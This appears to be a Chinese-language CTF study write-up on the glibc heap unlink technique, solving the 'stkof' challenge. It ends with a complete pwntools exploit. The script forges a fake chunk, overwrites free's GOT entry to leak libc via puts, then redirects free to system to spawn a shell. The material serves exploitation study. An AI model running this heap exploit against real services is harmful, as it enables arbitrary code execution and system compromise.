菜鸡终于对unlink有了些许的了解,写一下自己的理解,用来备份
unlink就是从双向链表中取出元素的行为
感谢网上的多篇前辈的文章,其中这篇让我收获最多
https://bbs.pediy.com/thread-247007.htm
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用malloc
从恰好大小合适的 large bin 中获取 chunk。
这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。
依次遍历处理 unsorted bin 时也没有使用 unlink 的。
从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
Free
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
malloc_consolidate
后向合并,合并物理相邻低地址空闲 chunk。
前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
realloc
前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。
关于unlink的漏洞利用效果最终是指向前方三个内存单元处
最终的效果:指向target-0x18=global[0]-0x8
global是全局变量数组,这个概念我一开始也不了解,现在稍微抓到一点边,不知道是不是所有的heap都有这个
注意:
大多数题目的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域
先add4个chunk
add(0x20) #1
add(0x30) #2
add(0x80) #3
add(0x30) #4
每个chunk都有它的作用
1用来放free_got,后面修改为puts_plt和system_plt
2和3用来unlink
4用来放置/bin/sh\x00
注意:3必须不在fastbin范围中,不然free操作时不会向前合并空闲内存
修改chunk2,制造一个fake chunk,来进行unlink
具体的可以看看这篇
https://github.com/bash-c/slides/blob/master/pwn_heap/malloc-150821074656-lva1-app6891.pdf
然后free(3)
free之后我们到0x602130这去看看,
可以看到global[2]指向了global[2]-0x18这一步目前我只知道会这样,具体的原理还比较模糊,先记下吧
好像要unlink了才能触发global那里(大概)
然后从target-0x18开始改起,
p2 = 'a'*0x10 + p64(free_got)+p64(puts_got)
edit(2, p2) #target-0x8
可以看到确实修改了
然后修改global[1]的free_got为puts_plt
然后free(2)即为puts(puts_got)
p3 = p64(puts_plt)
edit(1, p3) #global[1]
free(2) #chu fa
global[1]被修改了
然后free后就puts了puts_got的libc地址,以此算出libcbase
接着修改global[1]为system,将/bin/sh\x00写入global[4],然后free(4),触发sh
p4 = p64(system_addr)
edit(1, p4) #global[1]
edit(4, '/bin/sh\x00') #global[4]
free(4) #chu fa
exp:
from pwn import *
from LibcSearcher import *
local_file = './stkof'
local_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = './libc-2.23.so'
select = 0
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 27302)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
def add(size):
r.sendline("1")
r.sendline(str(size))
r.recvuntil("OK\n")
def free(idx):
r.sendline("3")
r.sendline(str(idx))
def edit(idx,strings):
r.sendline("2")
r.sendline(str(idx))
r.sendline(str(len(strings)))
r.send(strings)
r.recvuntil("OK\n")
#0x602140 global[0]
target = 0x602140 + 0x10 #global[2]
fd = target - 0x18
bk = target - 0x10
add(0x20) #1
add(0x30) #2
add(0x80) #3
add(0x30) #4
p1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90) #fake chunk
edit(2, p1)
free(3) #unlink
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
#atoi_got = elf.got['atoi']
p2 = 'a'*0x10 + p64(free_got)+p64(puts_got)
edit(2, p2) #target-0x8
p3 = p64(puts_plt)
edit(1, p3) #global[1]
free(2) #chu fa
fun_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
info_addr('fun_addr', fun_addr)
libc = LibcSearcher('puts', fun_addr)
libcbase = fun_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
p4 = p64(system_addr)
edit(1, p4) #global[1]
edit(4, '/bin/sh\x00') #global[4]
free(4) #chu fa
r.interactive()